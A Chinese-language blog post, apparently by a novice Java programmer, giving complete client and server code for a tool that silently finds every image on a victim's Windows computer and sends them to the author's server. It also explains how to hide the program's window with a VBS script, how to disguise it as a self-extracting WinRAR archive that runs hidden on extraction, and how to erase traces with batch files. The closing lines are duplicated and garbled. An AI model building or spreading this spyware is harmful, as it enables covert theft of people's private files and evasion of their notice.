声明
* 该系统出于个人兴趣爱好所作,无任何不良目的。
* 基于Windows系统执行,其它系统思路一致。
* 代码很简单,这里是初步实现目的,并未进行后续优化
目的
- 该项目主要用于从他人电脑静默获取图片资源,并下载到运行服务器的电脑上。
结构
服务器端
* 作用:等待客户端连接,接收并下载发送的图片文件
* 类型:控制台
* 语言:Java
* 使用工具:IDEA2020.2.3、exe4j
* 项目构成:服务器端类与程序入口。
客户端
* 作用:获取客户端所在电脑所有图片资源、连接服务器、发送文件资源。
- 类型:控制台
- 语言:Java,Windows .bat、Windows .vbs
- 使用工具:IDEA2020.2.3、exe4j
- 项目构成:文件操作类、客户端类与程序入口。
代码实现
服务器端
-
服务器类代码 -
public class Server {
private ServerSocket server;
private AtomicInteger name = new AtomicInteger(1);
private final String path = "D:\\getFromOther\\";
private final ConcurrentLinkedQueue<String> existDirectories = new ConcurrentLinkedQueue<>();
public Server() {
try {
server = new ServerSocket(12306);
server.setSoTimeout(1000 * 60 * 5);
} catch (IOException ignore) { }
}
public void receive() {
Socket socket = null;
ThreadPoolExecutor executor = executor = new ThreadPoolExecutor(
20, 500, 10,
TimeUnit.MILLISECONDS, new LinkedBlockingDeque<>(300));
while (true) {
try {
socket = server.accept();
} catch (IOException ignore) { continue; }
Socket finalSocket = socket;
executor.execute(() -> {
receiveSingle(finalSocket);
});
}
}
private void receiveSingle(Socket socket) {
String fromIP = socket.getInetAddress().getHostAddress();
if (!existDirectories.contains(fromIP)) {
File f = new File(path + fromIP);
if (!f.exists()) f.mkdirs();
existDirectories.add(fromIP);
}
try (socket; BufferedInputStream bis = new BufferedInputStream(socket.getInputStream());
BufferedOutputStream bos = new BufferedOutputStream(
new FileOutputStream(path + fromIP + "\\" + name.getAndIncrement() + ".jpg"));
) {
byte[] buffer = new byte[4096];
int len = -1;
while ((len = bis.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
System.out.println(fromIP + "-->" + name.get());
} catch (IOException ignore) { }
}
}
-
启动器代码 -
Server s = new Server();
new Thread(s::receive()).start();
客户端
-
客户端类代码 -
public class Client {
private Socket socket;
private String serverIP = "192.168.19.17";
private final String outerNet = "10.254.2.";
private final int PORT = 12306;
public Client() {
initialize();
}
private void initialize() {
String address = "";
try {
address = InetAddress.getLocalHost().getHostAddress();
} catch (IOException ignore) { }
if (address.startsWith("192.168.19")) return;
ThreadPoolExecutor executor = new ThreadPoolExecutor(
100, 255, 500,
TimeUnit.MILLISECONDS, new LinkedBlockingDeque<>(50));
for (int i = 2; i < 255; i++) {
int finalI = i;
try {
executor.execute(() -> {
SocketAddress ad = new InetSocketAddress(outerNet + finalI, PORT);
try {
socket = new Socket();
socket.connect(ad, 1000);
serverIP = outerNet + finalI;
System.out.println(serverIP);
executor.shutdownNow();
} catch (IOException ignore) {
}
});
} catch (RejectedExecutionException ignore) { }
}
while (executor.getActiveCount() != 0);
}
public void sendMsg(String msg) {
try {
socket = new Socket(serverIP, PORT);
} catch (IOException e) {
return;
}
try (BufferedOutputStream bos = new BufferedOutputStream(socket.getOutputStream());) {
byte[] buffer = msg.getBytes();
bos.write(buffer);
} catch (IOException e) {
e.printStackTrace();
}
}
public void sendFile(ArrayList<String> list) {
for (String file : list) {
sendFiles(file);
try {
Thread.sleep(4);
} catch (InterruptedException ignore) { }
}
}
private void sendFiles(String file) {
try {
socket = new Socket(serverIP, PORT);
} catch (IOException e) { return; }
try (BufferedOutputStream bos = new BufferedOutputStream(socket.getOutputStream())) {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
byte[] buffer = new byte[1024];
int len = -1;
while ((len = bis.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
} catch (IOException ignore) { } finally {
try {
socket.close();
} catch (IOException ignore) { }
}
}
}
-
文件操作类代码: -
public class FileExe {
public ArrayList<String> pictureFind() {
File[] files = File.listRoots();
ConcurrentHashMap<Thread, ArrayList<String>> tasks = new ConcurrentHashMap<>();
for (File file : files) {
ArrayList<String> list = new ArrayList<>();
Thread t = new Thread(() -> IteratorFile(file, list));
t.start();
tasks.put(t, list);
}
boolean flag = true;
int count = 0;
while (flag) {
Set<Thread> ths = tasks.keySet();
count = 0;
for (Thread task : ths) {
if (task.getState() != Thread.State.TERMINATED)
count++;
}
if (count == 0) {
flag = false;
}
}
Set<Thread> sets = tasks.keySet();
ArrayList<String> arr = new ArrayList<>();
for (Thread set : sets) {
arr.addAll(tasks.get(set));
}
return arr;
}
private void IteratorFile(File directory, ArrayList<String> list) {
if ("C:\\Windows".equals(directory.getAbsolutePath())
|| !directory.isDirectory())
return;
try {
File[] files = directory.listFiles();
ArrayList<File> arr = new ArrayList<>();
for (File file : files) {
if (file.isFile()) {
String name = file.getName();
if (isPictureFile(name)) {
list.add(file.getAbsolutePath());
}
} else
arr.add(file);
}
for (File file : arr) {
IteratorFile(file, list);
}
} catch (Exception ignored) { }
}
private boolean isPictureFile(String filename) {
return filename.endsWith(".bmp") || filename.endsWith(".png")
|| filename.endsWith(".jpg") || filename.endsWith(".jpeg")
|| filename.endsWith(".gif");
}
-
启动类代码 -
System.out.println("begin find pictures...");
ArrayList<String> pics = new FileExe().pictureFind();
System.out.println(pics.size() + "\nFind all picture..");
Client c = new Client();
c.sendFile(pics);
System.out.println("Send picture over.....");
制作可执行文件
- 经过上面的步骤,服务器与客户端的代码我们已经拿到。那么接下来就是制作Windows可执行文件,即 .exe 文件,这里我们需要用到一个工具 exe4j exe4j下载地址
- 首先需要将代码打包为 jar 文件
- 然后使用 exe4j 制作,具体流程这里不做细节展开 exe4j制作.exe文件流程
- 注意:该软件免费版制作的 .exe 打开会有弹窗,推荐正式版…
客户端的静默执行
隐藏控制台
-
描述:由于该项目是控制台程序,在执行时会弹出控制台,而这与我们的初衷想违背,因此我们需要隐藏掉控制台 -
这里我们使用 .vbs 文件来启动该项目,该 vbs 中代码 -
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn = objShell.Run("cmd.exe /c Got.exe", 0, TRUE)
'第一个参数是你要执行的程序的路径,相对路径,完整路径都可
'第二个参数是窗口的形式,0后台运行;1正常运行;2最小化;3最大化;缺省的话表示正常运行
'第三个参数是表示这个脚本是等待还是继续执行,如果设为了True,脚本就会等待调用的程序退出后再向后执行
-
然后将该文件保存为 xxx.vbs,再双击 该文件,即可隐藏该程序执行时的控制台 (可以在任务管理器看到) -
此时虽然已经可以隐藏控制台运行了,但是却还需要双击 vbs 文件才行,而一般客户端我们不好去直接控制,那么接下来我们就来解决这个问题。
自动化调用
-
此时来思考一下,,如何做到启动一个软件。 -
我们首先明确一点:.exe 文件它会自动执行吗?答案显然是不会,我们必须通过点击或者其它方式调用该程序,它才有可能执行。 -
在 windows 上有很多可以执行的文件,但都是需要通过用户双击或者其它程序调用,那么调用该程序,我们用另一个程序,再用另外一个调用该程序…此时我们可以发现,无论怎么花式调用,我们都需要有第一个启动项来带动所有。 -
我们的程序需要发送给其它客户端,该项目显然最好时使用压缩包格式。而压缩包需要解压,解压后才能点击我们的可执行软件启动。 -
一般用户都会去点击 .exe 启动,但我们显然不想这样。 -
那么可不可以解压后自动运行压缩包中的某个文件呢?当然可以,接下来需要用到一款解压软件 -
Winrar(该软件有广告,不知道现在怎么样): 1.修改名字(可选),勾上创建自解压格式压缩文件,选择高级选项 
-
选择自解压选项  -
输入解压路径,这里最好输入一个绝对路径,最好是C盘,方便后续操作 
-
切换到设置,在解压后运行中输入 cmd “start C:\test\test.vbs”,注意这里是输入之前创建的 vbs 文件  -
切换到模式,选择全部隐藏,这样在执行的时候不会有弹窗和路径选择,确保能执行到正确的文件  -
然后点击确定、确定,会生成一个 xxx.exe
卸磨杀驴
-
在程序运行结束后,我们发送过去的软件会在用户的电脑里留下一些垃圾,这是不太好的,所以我们要帮用户清理掉这些垃圾。 -
因此我们可以创建一个 .bat 文件,用于清理垃圾。该文件可以在客户端发送完成文件后执行 -
客户端入口处完全代码:
-
但是还有最后一丢丢小问题:
- 实际在调用该文件时会发现此时程序还并没有结束,但你却想清理他,自然就出问题了
-
这里直接给出解决方案:
- 先调用一个等待器,等待大约一两秒左右,再调用清理器执行清理工作
-
等待器: xxx.bat -
@echo off
choice /t 5 /d y /n >nul
start exit.bat
-
清理器: xxx.bat -
@echo off
rd /s /Q C:\test // 完全清理文件夹
最后
? 本人低级程序员一枚,处于初学Java阶段。这些步骤都是一步一步为自己所想,但因水平不足,还待吸收经验。因此代码不佳,方案存疑等问题尽可提出。 } catch (IOException ignore) { } ```
最后
? 本人低级程序员一枚,处于初学Java阶段。这些步骤都是一步一步为自己所想,但因水平不足,还待吸收经验。因此代码不佳,方案存疑等问题尽可提出。
|